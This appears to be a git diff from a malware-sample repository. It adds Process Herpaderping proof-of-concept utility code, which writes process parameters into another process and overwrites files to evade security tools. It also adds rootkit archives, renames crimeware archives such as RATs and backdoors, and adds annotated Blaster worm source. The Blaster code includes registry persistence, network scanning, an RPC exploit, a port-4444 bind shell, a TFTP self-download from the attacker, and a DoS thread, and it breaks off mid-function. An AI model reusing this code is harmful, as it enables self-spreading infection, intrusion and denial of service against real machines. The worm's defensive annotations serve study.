RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH); + } + + auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(), + dosHeader->e_lfanew)); + if (ntHeader->Signature != IMAGE_NT_SIGNATURE) + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH); + } + + if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) + { + EntryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint; + } + else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + { + auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader); + EntryPointRva = ntHeader64->OptionalHeader.AddressOfEntryPoint; + } + else + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH); + } + + return S_OK; +} + +class OptionalUnicodeStringHelper +{ +public: + + OptionalUnicodeStringHelper( + _In_opt_ const std::optional& String) : + m_String(String) + { + if (m_String.has_value()) + { + RtlInitUnicodeString(&m_Unicode, m_String->c_str()); + } + else + { + RtlInitUnicodeString(&m_Unicode, L""); + } + } + + PUNICODE_STRING Get() + { + if (m_String.has_value()) + { + return &m_Unicode; + } + return nullptr; + } + + operator PUNICODE_STRING() + { + return Get(); + } + +private: + + const std::optional& m_String; + UNICODE_STRING m_Unicode; + +}; + +_Use_decl_annotations_ +HRESULT Utils::WriteRemoteProcessParameters( + handle_t ProcessHandle, + const std::wstring ImageFileName, + const std::optional& DllPath, + const std::optional& CurrentDirectory, + const std::optional& CommandLine, + void* EnvironmentBlock, + const std::optional& WindowTitle, + const std::optional& DesktopInfo, + const std::optional& ShellInfo, + const std::optional& RuntimeData) +{ + // + // Get the basic info for the remote PEB address. + // + PROCESS_BASIC_INFORMATION pbi{}; + RETURN_IF_NTSTATUS_FAILED(NtQueryInformationProcess( + ProcessHandle, + ProcessBasicInformation, + &pbi, + sizeof(pbi), + nullptr)); + + // + // Generate the process parameters to write into the process. + // + UNICODE_STRING imageName; + RtlInitUnicodeString(&imageName, ImageFileName.c_str()); + OptionalUnicodeStringHelper dllPath(DllPath); + OptionalUnicodeStringHelper commandLine(CommandLine); + OptionalUnicodeStringHelper currentDirectory(CurrentDirectory); + OptionalUnicodeStringHelper windowTitle(WindowTitle); + OptionalUnicodeStringHelper desktopInfo(DesktopInfo); + OptionalUnicodeStringHelper shellInfo(ShellInfo); + OptionalUnicodeStringHelper runtimeData(RuntimeData); + wil::unique_user_process_parameters params; + + // + // Generate the process parameters and do not pass + // RTL_USER_PROC_PARAMS_NORMALIZED, this will keep the process parameters + // de-normalized (pointers will be offsets instead of addresses) then + // LdrpInitializeProcess will call RtlNormalizeProcessParameters and fix + // them up when the process starts. + // + // Note: There is an exception here, the Environment pointer is not + // de-normalized - we'll fix that up ourself. + // + RETURN_IF_NTSTATUS_FAILED(RtlCreateProcessParametersEx( + ¶ms, + &imageName, + dllPath, + currentDirectory, + commandLine, + EnvironmentBlock, + windowTitle, + desktopInfo, + shellInfo, + runtimeData, + 0)); + + // + // Calculate the required length. + // + size_t len = params.get()->MaximumLength + params.get()->EnvironmentSize; + + // + // Allocate memory in the remote process to hold the process parameters. + // + auto remoteMemory = VirtualAllocEx(ProcessHandle, + nullptr, + len, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); + RETURN_IF_NULL_ALLOC(remoteMemory); + + // + // Okay we have some memory in the remote process, go do the final fix-ups. + // + if (params.get()->Environment != nullptr) + { + // + // The environment block will always be right after the length, which + // is the size of RTL_USER_PROCESS_PARAMETERS plus any extra field + // data. + // + params.get()->Environment = Add2Ptr(remoteMemory, params.get()->Length); + } + + // + // Write the parameters into the remote process. + // + RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(ProcessHandle, + remoteMemory, + params.get(), + len, + nullptr)); + + // + // Write the parameter pointer to the remote process PEB. + // + RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory( + ProcessHandle, + Add2Ptr(pbi.PebBaseAddress, + FIELD_OFFSET(PEB, ProcessParameters)), + &remoteMemory, + sizeof(remoteMemory), + nullptr)); + + return S_OK; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/utils.hpp b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/utils.hpp new file mode 100644 index 00000000..1a4f3ec5 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/utils.hpp @@ -0,0 +1,474 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/utils.hpp +// Author: Johnny Shaw +// Abstract: Utility functionality for herpaderping. +// +#pragma once + +namespace Log +{ + + constexpr static uint32_t Success{ 0x00000001ul }; + constexpr static uint32_t Information{ 0x00000002ul }; + constexpr static uint32_t Warning{ 0x00000004ul }; + constexpr static uint32_t Error{ 0x00000008ul }; + constexpr static uint32_t Context{ 0x00000010ul }; + constexpr static uint32_t Debug{ 0x80000000ul }; + +} + +namespace Utils +{ + /// + /// Argument parser interface. + /// + class IArgumentParser + { + public: + virtual ~IArgumentParser() = default; + + /// + /// Implements functionality for parsing arguments. + /// + /// + /// Number of command line arguments. + /// + /// + /// Command line arguments. + /// + /// + /// Success if arguments were parsed successfully. Failure otherwise. + /// + _Must_inspect_result_ virtual HRESULT ParseArguments( + _In_ int Argc, + _In_reads_(Argc) const wchar_t* Argv[]) = 0; + + /// + /// Implements retrieving the argument usage. + /// + /// + /// Argument usage. + /// + virtual std::wstring_view GetUsage() const = 0; + + /// + /// Provides the interface an opportunity to validate the parsed + /// arguments. If the arguments are invalid (for example, two options + /// are used that may not be specified together) the implementation + /// may return failure here to indicate the arguments are invalid. + /// + _Must_inspect_result_ virtual HRESULT ValidateArguments() const = 0; + + protected: + IArgumentParser() = default; + }; + + /// + /// Matches a parameter argument with either short or parameter. + /// + /// + /// Argument to check against short or long parameter argument + /// must either be prefixed explicitly as long ("--") or short ("-", "/"). + /// + /// + /// Short parameter representation (e.g. "q"). + /// + /// + /// Long parameter representation (e.g. "quiet"). + /// + /// + /// Success if the argument matches either the short to long parameter. + /// + _Must_inspect_result_ HRESULT MatchParameter( + _In_ std::wstring_view Arg, + _In_opt_ std::optional Short, + _In_opt_ std::optional Long); + + /// + /// Checks for help options in parameters. + /// + /// + /// Number of command line arguments. + /// + /// + /// Command line arguments. + /// + /// + /// Success if "--help", "-h", "/h", "-?", or "/?" are found in the + /// command line arguments. + /// + _Must_inspect_result_ HRESULT CheckForHelpOptions( + _In_ int Argc, + _In_reads_(Argc) const wchar_t* Argv[]); + + /// + /// Handles command line arguments for a argument parser. If a help + /// option is found or the parser fails. The function prints the header + /// and usage text to stdout and return failure. + /// + /// + /// Number of command line arguments. + /// + /// + /// Command line arguments. + /// + /// + /// Header to print before usage. + /// + /// + /// Argument parser to use. + /// + /// + /// Success if the arguments were parsed successfully. Failure if the + /// arguments were invalid or a help option was found. + /// + _Must_inspect_result_ HRESULT HandleCommandLineArgs( + _In_ int Argc, + _In_reads_(Argc) const wchar_t* Argv[], + _In_opt_ std::optional Header, + _Inout_ IArgumentParser& Parser); + +#pragma warning(push) +#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target + /// + /// Removes all occurrences of a set of values from an object. + /// + /// + /// Object type to remove elements of. Must implement erase, be forward + /// iterate-able, and contained value type must be move assignable. + /// + /// + /// Object to erase elements from. + /// + /// + /// Values to remove. + /// + template + void EraseAll( + _Inout_ T& Object, + _In_ const std::initializer_list& Values) + { + for (const auto& value : Values) + { + Object.erase(std::remove(Object.begin(), + Object.end(), + value), + Object.end()); + } + } +#pragma warning(pop) + + /// + /// Formats an error code as a string. + /// + /// + /// Error code to format as a string. + /// + /// + /// Human readable string for the error code if the error is unknown a + /// string is returned formatted as "[number] - Unknown Error". + /// + std::wstring FormatError(_In_ uint32_t Error); + + /// + /// Sets the logging mask. + /// + /// + /// Logging mask to set. + /// + void SetLoggingMask(_In_ uint32_t Level); + + /// + /// Logs a string. + /// + /// + /// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error. + /// + /// + /// Format for log string. + /// + /// + /// Variadic arguments for formatting. + /// + void Log( + _In_ uint32_t Level, + _Printf_format_string_ const wchar_t* Format, + ...); + + /// + /// Logs a string with a specified error code appended to the formatted + /// string. + /// + /// + /// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error. + /// + /// + /// Error code. + /// + /// + /// Format for log string. + /// + /// + /// Variadic arguments for formatting. + /// + /// + /// Supplied Error + /// + uint32_t Log( + _In_ uint32_t Level, + _In_ uint32_t Error, + _Printf_format_string_ const wchar_t* Format, + ...); + + /// + /// Generates a buffer of a given length containing a supplied pattern. + /// + /// + /// Buffer to fill with the patter, must not be empty. + /// + /// + /// Pattern to write into the buffer. + /// + /// + /// Success when the buffer is filled with the pattern. Failure if Buffer + /// is empty. + /// + _Must_inspect_result_ HRESULT FillBufferWithPattern( + _Inout_ std::vector& Buffer, + _In_ std::span Pattern); + + /// + /// Generates a buffer of random bytes of a given length. + /// + /// + /// Buffer to assign the bytes to, must not be empty. + /// + /// + /// Success if the buffer is filled with random bytes. + /// + _Must_inspect_result_ HRESULT FillBufferWithRandomBytes( + _Inout_ std::vector& Buffer); + + /// + /// Gets a file size. + /// + /// + /// File to get the size of. + /// + /// + /// Set to the size of the file on success. + /// + /// + /// Success if the file size of retrieved. + /// + _Must_inspect_result_ HRESULT GetFileSize( + _In_ handle_t FileHandle, + _Out_ uint64_t& FileSize); + + /// + /// Sets a file pointer. + /// + /// + /// File to set the pointer of. + /// + /// + /// Distance to move the file pointer. + /// + /// + /// Move method to use (FILE_BEGIN, FILE_CURRENT, FILE_END). + /// + /// + /// Success if the file pointer was set (or was already set). + /// + _Must_inspect_result_ HRESULT SetFilePointer( + _In_ handle_t FileHandle, + _In_ int64_t DistanceToMove, + _In_ uint32_t MoveMethod); + + /// + /// Copies the contents for a source file to the target by handle. + /// + /// + /// Source file handle. + /// + /// + /// Target file handle. + /// + /// + /// Flushes file buffers after copy, optional, defaults to true. + /// + /// + /// Success if the source file has been copied to the target. + /// + _Must_inspect_result_ HRESULT CopyFileByHandle( + _In_ handle_t SourceHandle, + _In_ handle_t TargetHandle, + _In_ bool FlushFile = true); + + /// + /// Overwrites the contents of a file with a pattern. + /// + /// + /// Target file to overwrite. + /// + /// + /// Pattern write over the file content. + /// + /// + /// Length of Pattern buffer. + /// + /// + /// Flushes file buffers after overwrite, optional, defaults to true. + /// + /// + /// Success if the file content was overwritten. + /// + _Must_inspect_result_ HRESULT OverwriteFileContentsWithPattern( + _In_ handle_t FileHandle, + _In_ std::span Pattern, + _In_ bool FlushFile = true); + + /// + /// Extends file to meet a new size writes a pattern to the extension. + /// + /// + /// Target file to extend. + /// + /// + /// New size of the file. + /// + /// + /// Pattern to use to extend the target file with. + /// + /// + /// Number of bytes appended. + /// + /// + /// Flushes file buffers after extension, optional, defaults to true. + /// + /// + /// Success if the file was extended. + /// + _Must_inspect_result_ HRESULT ExtendFileWithPattern( + _In_ handle_t FileHandle, + _In_ uint64_t NewFileSize, + _In_ std::span Pattern, + _Out_ uint32_t& AppendedBytes, + _In_ bool FlushFile = true); + + /// + /// Overwrites a file from a given offset with a pattern. + /// + /// + /// Target file to overwrite. + /// + /// + /// Offset to begin writing from. + /// + /// + /// Pattern to use to extend the target file with. + /// + /// + /// Number of bytes written. + /// + /// + /// Flushes file buffers after overwrite, optional, defaults to true. + /// + /// + /// Success if the file was overwritten. + /// + _Must_inspect_result_ HRESULT OverwriteFileAfterWithPattern( + _In_ handle_t FileHandle, + _In_ uint64_t FileOffset, + _In_ std::span Pattern, + _Out_ uint32_t& WrittenBytes, + _In_ bool FlushFile = true); + + /// + /// Extends a PE file security directory by a number of bytes. + /// + /// + /// Target file handle. + /// + /// + /// Number of bytes to extend the security directory by. + /// + /// + /// Flushes file buffers after extension, optional, defaults to true. + /// + /// + /// Success if the security directory was extended. Failure if the file is + /// not a PE file or does not have a security directory. + /// + _Must_inspect_result_ HRESULT ExtendFileSecurityDirectory( + _In_ handle_t FileHandle, + _In_ uint32_t ExtendedBy, + _In_ bool FlushFile = true); + + /// + /// Retrieves the image entry point RVA from a file. + /// + /// + /// File to parse for the entry point RVA. + /// + /// + /// Set to the entry point RVA on success. + /// + /// + /// Success if the PE image entry RVA is located. + /// + _Must_inspect_result_ HRESULT GetImageEntryPointRva( + _In_ handle_t FileHandle, + _Out_ uint32_t& EntryPointRva); + + /// + /// Writes remote process parameters into target process. + /// + /// + /// Process to write parameters into. + /// + /// + /// Dll path to write into the parameters, optional. + /// + /// + /// Image file name to write into the parameters. + /// + /// + /// Current directory to write into the parameters, optional. + /// + /// + /// Command line to write into the parameters, optional. + /// + /// + /// Environment block to write into the parameters, optional. + /// + /// + /// Window title to write into the parameters, optional. + /// + /// + /// Desktop info to write into the parameters, optional. + /// + /// + /// ShellInfo to write into the parameters, optional. + /// + /// + /// Runtime data to write into the parameters, optional. + /// + /// + /// Success if the remote process parameters are written. + /// + _Must_inspect_result_ HRESULT WriteRemoteProcessParameters( + _In_ handle_t ProcessHandle, + _In_ const std::wstring ImageFileName, + _In_opt_ const std::optional& DllPath, + _In_opt_ const std::optional& CurrentDirectory, + _In_opt_ const std::optional& CommandLine, + _In_opt_ void* EnvironmentBlock, + _In_opt_ const std::optional& WindowTitle, + _In_opt_ const std::optional& DesktopInfo, + _In_opt_ const std::optional& ShellInfo, + _In_opt_ const std::optional& RuntimeData); + +} diff --git a/Win32/Rootkits/Win32.Rootkit.GreenKit.7z b/Win32/Rootkits/Win32.Rootkit.GreenKit.7z new file mode 100644 index 00000000..0f524ad0 Binary files /dev/null and b/Win32/Rootkits/Win32.Rootkit.GreenKit.7z differ diff --git a/Win32/Rootkits/Win32.Rootkit.SMMRootkit.7z b/Win32/Rootkits/Win32.Rootkit.SMMRootkit.7z new file mode 100644 index 00000000..87469647 Binary files /dev/null and b/Win32/Rootkits/Win32.Rootkit.SMMRootkit.7z differ diff --git a/Win32/Rootkits/Win32.Rootkit.WindowsRegistryRootkit.7z b/Win32/Rootkits/Win32.Rootkit.WindowsRegistryRootkit.7z new file mode 100644 index 00000000..4b87e844 Binary files /dev/null and b/Win32/Rootkits/Win32.Rootkit.WindowsRegistryRootkit.7z differ diff --git a/Win32/Rootkits/Win32.Rootkit.r77.7z b/Win32/Rootkits/Win32.Rootkit.r77.7z new file mode 100644 index 00000000..7134a610 Binary files /dev/null and b/Win32/Rootkits/Win32.Rootkit.r77.7z differ diff --git a/Win32/Generic Crimeware/Win32.A59.7z b/Win32/Win32.A59.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.A59.7z rename to Win32/Win32.A59.7z diff --git a/Win32/Generic Crimeware/Win32.Acid.b.7z b/Win32/Win32.Acid.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Acid.b.7z rename to Win32/Win32.Acid.b.7z diff --git a/Win32/Generic Crimeware/Win32.Ago.c.7z b/Win32/Win32.Ago.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Ago.c.7z rename to Win32/Win32.Ago.c.7z diff --git a/Win32/Generic Crimeware/Win32.Agony.rar b/Win32/Win32.Agony.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Agony.rar rename to Win32/Win32.Agony.rar diff --git a/Win32/Generic Crimeware/Win32.Algus.f.7z b/Win32/Win32.Algus.f.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Algus.f.7z rename to Win32/Win32.Algus.f.7z diff --git a/Win32/Generic Crimeware/Win32.AryanRat.d.rar b/Win32/Win32.AryanRat.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.AryanRat.d.rar rename to Win32/Win32.AryanRat.d.rar diff --git a/Win32/Generic Crimeware/Win32.Aspergillus.ac.7z b/Win32/Win32.Aspergillus.ac.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Aspergillus.ac.7z rename to Win32/Win32.Aspergillus.ac.7z diff --git a/Win32/Generic Crimeware/Win32.Atomic.bl.7z b/Win32/Win32.Atomic.bl.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Atomic.bl.7z rename to Win32/Win32.Atomic.bl.7z diff --git a/Win32/Generic Crimeware/Win32.BBot.a.7z b/Win32/Win32.BBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.BBot.a.7z rename to Win32/Win32.BBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.BackConnect.ab.zip b/Win32/Win32.BackConnect.ab.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.BackConnect.ab.zip rename to Win32/Win32.BackConnect.ab.zip diff --git a/Win32/Generic Crimeware/Win32.Backdoor.Tyupkin.multi.7z b/Win32/Win32.Backdoor.Tyupkin.multi.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Backdoor.Tyupkin.multi.7z rename to Win32/Win32.Backdoor.Tyupkin.multi.7z diff --git a/Win32/Generic Crimeware/Win32.Beast.gb.7z b/Win32/Win32.Beast.gb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Beast.gb.7z rename to Win32/Win32.Beast.gb.7z diff --git a/Win32/Generic Crimeware/Win32.Beta.7z b/Win32/Win32.Beta.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Beta.7z rename to Win32/Win32.Beta.7z diff --git a/Win32/Generic Crimeware/Win32.Bizac.a.rar b/Win32/Win32.Bizac.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Bizac.a.rar rename to Win32/Win32.Bizac.a.rar diff --git a/Win32/Generic Crimeware/Win32.BlackDream.7z b/Win32/Win32.BlackDream.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.BlackDream.7z rename to Win32/Win32.BlackDream.7z diff --git a/Win32/Win32.Blaster.cpp b/Win32/Win32.Blaster.cpp new file mode 100644 index 00000000..9eaf61b0 --- /dev/null +++ b/Win32/Win32.Blaster.cpp @@ -0,0 +1,1351 @@ +#include +#include /*IP_HDRINCL*/ +#include /*InternetGetConnectedState*/ +#include + +#pragma comment (lib, "ws2_32.lib") +#pragma comment (lib, "wininet.lib") +#pragma comment (lib, "advapi32.lib") + + +/* +* These strings aren't used in the worm, Buford put them here +* so that whitehat researchers would discover them. +* BUFORD: Note that both of these messages are the typical +* behavior of a teenager who recently discovered love, and +* is in the normal teenage mode of challenging authority. +*/ +const char msg1[]="I just want to say LOVE YOU SAN!!"; +const char msg2[]="billy gates why do you make this possible ?" +" Stop making money and fix your software!!"; + + +/* +* Buford probably put the worm name as a "define" at the top +* of his program so that he could change the name at any time. +* 2003-09-29: This is the string that Parson changed. +*/ +#define MSBLAST_EXE "msblast.exe" + +/* +* MS-RPC/DCOM runs over port 135. +* DEFENSE: firewalling port 135 will prevent systems from +* being exploited and will hinder the spread of this worm. +*/ +#define MSRCP_PORT_135 135 + +/* +* The TFTP protocol is defined to run on port 69. Once this +* worm breaks into a victim, it will command it to download +* the worm via TFTP. Therefore, the worms briefly runs a +* TFTP service to deliver that file. +* DEFENSE: firewalling 69/udp will prevent the worm from +* fully infected a host. +*/ +#define TFTP_PORT_69 69 + +/* +* The shell-prompt is established over port 4444. The +* exploit code (in the variable 'sc') commands the victim +* to "bind a shell" on this port. The exploit then connects +* to that port to send commands, such as TFTPing the +* msblast.exe file down and launching it. +* DEFENSE: firewalling 4444/tcp will prevent the worm from +* spreading. +*/ +#define SHELL_PORT_4444 4444 + + +/* +* A simple string to hold the current IP address +*/ +char target_ip_string[16]; + +/* +* A global variable to hold the socket for the TFTP service. +*/ +int fd_tftp_service; + +/* +* Global flag to indicate this thread is running. This +* is set when the thread starts, then is cleared when +* the thread is about to end. +* This demonstrates that Buford isn't confident with +* multi-threaded programming -- he should just check +* the thread handle. +*/ +int is_tftp_running; + +/* +* When delivering the worm file to the victim, it gets the +* name by querying itself using GetModuleFilename(). This +* makes it easier to change the filename or to launch the +* worm. */ +char msblast_filename[256+4]; + +int ClassD, ClassC, ClassB, ClassA; + +int local_class_a, local_class_b; + +int winxp1_or_win2k2; + + +ULONG WINAPI blaster_DoS_thread(LPVOID); +void blaster_spreader(); +void blaster_exploit_target(int fd, const char *victim_ip); +void blaster_send_syn_packet(int target_ip, int fd); + + +/*************************************************************** +* This is where the 'msblast.exe' program starts running +***************************************************************/ +void main(int argc, char *argv[]) +{ +WSADATA WSAData; +char myhostname[512]; +char daystring[3]; +char monthstring[3]; +HKEY hKey; +int ThreadId; +register unsigned long scan_local=0; + +/* +* Create a registry key that will cause this worm +* to run every time the system restarts. +* DEFENSE: Slammer was "memory-resident" and could +* be cleaned by simply rebooting the machine. +* Cleaning this worm requires this registry entry +* to be deleted. +*/ +RegCreateKeyEx( +/*hKey*/ HKEY_LOCAL_MACHINE, +/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\" +"CurrentVersion\\Run", +/*Reserved*/ 0, +/*lpClass*/ NULL, +/*dwOptions*/ REG_OPTION_NON_VOLATILE, +/*samDesired */ KEY_ALL_ACCESS, +/*lpSecurityAttributes*/ NULL, +/*phkResult */ &hKey, +/*lpdwDisposition */ 0); +RegSetValueExA( +hKey, +"windows auto update", +0, +REG_SZ, +MSBLAST_EXE, +50); +RegCloseKey(hKey); + + +/* +* Make sure this isn't a second infection. A common problem +* with worms is that they sometimes re-infect the same +* victim repeatedly, eventually crashing it. A crashed +* system cannot spread the worm. Therefore, worm writers +* now make sure to prevent reinfections. The way Blaster +* does this is by creating a system "global" object called +* "BILLY". If another program in the computer has already +* created "BILLY", then this instance won't run. +* DEFENSE: this implies that you can remove Blaster by +* creating a mutex named "BILLY". When the computer +* restarts, Blaster will falsely believe that it has +* already infected the system and will quit. +*/ +CreateMutexA(NULL, TRUE, "BILLY"); +if (GetLastError() == ERROR_ALREADY_EXISTS) +ExitProcess(0); + +/* +* Windows systems requires "WinSock" (the network API layer) +* to be initialized. Note that the SYNflood attack requires +* raw sockets to be initialized, which only works in +* version 2.2 of WinSock. +* BUFORD: The following initialization is needlessly +* complicated, and is typical of programmers who are unsure +* of their knowledge of sockets.. +*/ +if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 +&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0 +&& WSAStartup(1, &WSAData) != 0) +return; + +/* +* The worm needs to read itself from the disk when +* transferring to the victim. Rather than using a hard-coded +* location, it discovered the location of itself dynamically +* through this function call. This has the side effect of +* making it easier to change the name of the worm, as well +* as making it easier to launch it. +*/ +GetModuleFileNameA(NULL, msblast_filename, +sizeof(msblast_filename)); + +/* +* When the worm infects a dialup machine, every time the user +* restarts their machine, the worm's network communication +* will cause annoying 'dial' popups for the user. This will +* make them suspect their machine is infected. +* The function call below makes sure that the worm only +* starts running once the connection to the Internet +* has been established and not before. +* BUFORD: I think Buford tested out his code on a machine +* and discovered this problem. Even though much of the +* code indicates he didn't spend much time on +* testing his worm, this line indicates that he did +* at least a little bit of testing. +*/ +while (!InternetGetConnectedState(&ThreadId, 0)) +Sleep (20000); /*wait 20 seconds and try again */ + +/* +* Initialize the low-order byte of target IP address to 0. +*/ +ClassD = 0; + +/* +* The worm must make decisions "randomly": each worm must +* choose different systems to infect. In order to make +* random choices, the programmer must "seed" the random +* number generator. The typical way to do this is by +* seeding it with the current timestamp. +* BUFORD: Later in this code you'll find that Buford calls +* 'srand()' many times to reseed. This is largely +* unnecessary, and again indicates that Buford is not +* confident in his programming skills, so he constantly +* reseeds the generator in order to make extra sure he +* has gotten it right. +*/ +srand(GetTickCount()); + +/* +* This initializes the "local" network to some random +* value. The code below will attempt to figure out what +* the true local network is -- but just in case it fails, +* the initialization fails, using random values makes sure +* the worm won't do something stupid, such as scan the +* network around 0.0.0.0 +*/ +local_class_a = (rand() % 254)+1; +local_class_b = (rand() % 254)+1; + +/* +* This discovers the local IP address used currently by this +* victim machine. Blaster randomly chooses to either infect +* just the local ClassB network, or some other network, +* therefore it needs to know the local network. +* BUFORD: The worm writer uses a complex way to print out +* the IP address into a string, then parse it back again +* to a number. This demonstrates that Buford is fairly +* new to C programming: he thinks in terms of the printed +* representation of the IP address rather than in its +* binary form. +*/ +if (gethostname(myhostname, sizeof(myhostname)) != -1) { +HOSTENT *p_hostent = gethostbyname(myhostname); + +if (p_hostent != NULL && p_hostent->h_addr != NULL) { +struct in_addr in; +const char *p_addr_item; + +memcpy(&in, p_hostent->h_addr, sizeof(in)); +sprintf(myhostname, "%s", inet_ntoa(in)); + +p_addr_item = strtok(myhostname, "."); +ClassA = atoi(p_addr_item); + +p_addr_item = strtok(0, "."); +ClassB = atoi(p_addr_item); + +p_addr_item = strtok(0, "."); +ClassC = atoi(p_addr_item); + +if (ClassC > 20) { +/* When starting from victim's address range, +* try to start a little bit behind. This is +* important because the scanning logic only +* move forward. */ +srand(GetTickCount()); +ClassC -= (rand() % 20); +} +local_class_a = ClassA; +local_class_b = ClassB; +scan_local = TRUE; +} +} + + +/* +* This chooses whether Blaster will scan just the local +* network (40% chance) or a random network (60% chance) +*/ +srand(GetTickCount()); +if ((rand() % 20) < 12) +scan_local = FALSE; + +/* +* The known exploits require the hacker to indicate whether +* the victim is WinXP or Win2k. The worm has to guess. The +* way it guesses is that it chooses randomly. 80% of the time +* it will assume that all victims are WinXP, and 20% of the +* time it will assume all victims are Win2k. This means that +* propogation among Win2k machines will be slowed down by +* the fact Win2k machines are getting DoSed faster than they +* are getting exploited. +*/ +winxp1_or_win2k2 = 1; +if ((rand()%10) > 7) +winxp1_or_win2k2 = 2; + +/* +* If not scanning locally, then choose a random IP address +* to start with. +* BUG: this worm choose bad ranges above 224. This will +* cause a bunch of unnecessary multicast traffic. Weird +* multicast traffic has historically been an easy way of +* detecting worm activity. +*/ +if (!scan_local) { +ClassA = (rand() % 254)+1; +ClassB = (rand() % 254); +ClassC = (rand() % 254); +} + + +/* +* Check the date so that when in the certain range, it will +* trigger a DoS attack against Micosoft. The following +* times will trigger the DoS attack: +* Aug 16 through Aug 31 +* Spt 16 through Spt 30 +* Oct 16 through Oct 31 +* Nov 16 through Nov 30 +* Dec 16 through Dec 31 +* This applies to all years, and is based on local time. +* FAQ: The worm is based on "local", not "global" time. +* That means the DoS attack will start from Japan, +* then Asia, then Europe, then the United States as the +* time moves across the globe. +*/ +#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT) +#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT) +GetDateFormat( LOCALE_409, +0, +NULL, /*localtime, not GMT*/ +"d", +daystring, +sizeof(daystring)); +GetDateFormat( LOCALE_409, +0, +NULL, /*localtime, not GMT*/ +"M", +monthstring, +sizeof(monthstring)); +if (atoi(daystring) > 15 && atoi(monthstring) > 8) +CreateThread(NULL, 0, +blaster_DoS_thread, +0, 0, &ThreadId); + +/* +* As the final task of the program, go into worm mode +* trying to infect systems. +*/ +for (;;) +blaster_spreader(); + +/* +* It'll never reach this point, but in theory, you need a +* WSACleanup() after a WSAStartup(). +*/ +WSACleanup(); +} + + + +/* +* This will be called from CreateThread in the main worm body +* right after it connects to port 4444. After the thread is +* started, it then sends the string " +* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents +* the IP address of the attacker). +* Once it sends the string, it then waits for 20 seconds for the +* TFTP server to end. If the TFTP server doesn't end, it calls +* TerminateThread. +*/ +DWORD WINAPI blaster_tftp_thread(LPVOID p) +{ +/* +* This is the protocol format of a TFTP packet. This isn't +* used in the code -- I just provide it here for reference +*/ +struct TFTP_Packet +{ +short opcode; +short block_id; +char data[512]; +}; + +char reqbuf[512]; /* request packet buffer */ +struct sockaddr_in server; /* server-side port number */ +struct sockaddr_in client; /* client IP address and port */ +int sizeof_client; /* size of the client structure*/ +char rspbuf[512]; /* response packet */ + +static int fd; /* the socket for the server*/ +register FILE *fp; +register block_id; +register int block_size; + +/* Set a flag indicating this thread is running. The other +* thread will check this for 20 seconds to see if the TFTP +* service is still alive. If this thread is still alive in +* 20 seconds, it will be killed. +*/ +is_tftp_running = TRUE; /*1 == TRUE*/ + +/* Create a server-socket to listen for UDP requests on */ +fd = socket(AF_INET, SOCK_DGRAM, 0); +if (fd == SOCKET_ERROR) +goto closesocket_and_exit; + +/* Bind the socket to 69/udp */ +memset(&server, 0, sizeof(server)); +server.sin_family = AF_INET; +server.sin_port = htons(TFTP_PORT_69); +server.sin_addr.s_addr = 0; /*TFTP server addr = */ +if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0) +goto closesocket_and_exit; + +/* Receive a packet, any packet. The contents of the received +* packet are ignored. This means, BTW, that a defensive +* "worm-kill" could send a packet from somewhere else. This +* will cause the TFTP server to download the msblast.exe +* file to the wrong location, preventing the victim from +* doing the download. */ +sizeof_client = sizeof(client); +if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, +(struct sockaddr*)&client, &sizeof_client) <= 0) +goto closesocket_and_exit; + +/* The TFTP server will respond with many 512 byte blocks +* until it has completely sent the file; each block must +* have a unique ID, and each block must be acknowledged. +* BUFORD: The worm ignores TFTP ACKs. This is probably why +* the worm restarts the TFTP service rather than leaving it +* enabled: it essentially flushes all the ACKs from the +* the incoming packet queue. If the ACKs aren't flushed, +* the worm will incorrectly treat them as TFTP requests. +*/ +block_id = 0; + +/* Open this file. GetModuleFilename was used to figure out +* this filename. */ +fp = fopen(msblast_filename, "rb"); +if (fp == NULL) +goto closesocket_and_exit; + +/* Continue sending file fragments until none are left */ +for (;;) { +block_id++; + +/* Build TFTP header */ +#define TFTP_OPCODE_DATA 3 +*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA); +*(short*)(rspbuf+2)= htons((short)block_id); + +/* Read next block of data (about 12 blocks total need +* to be read) */ +block_size = fread(rspbuf+4, 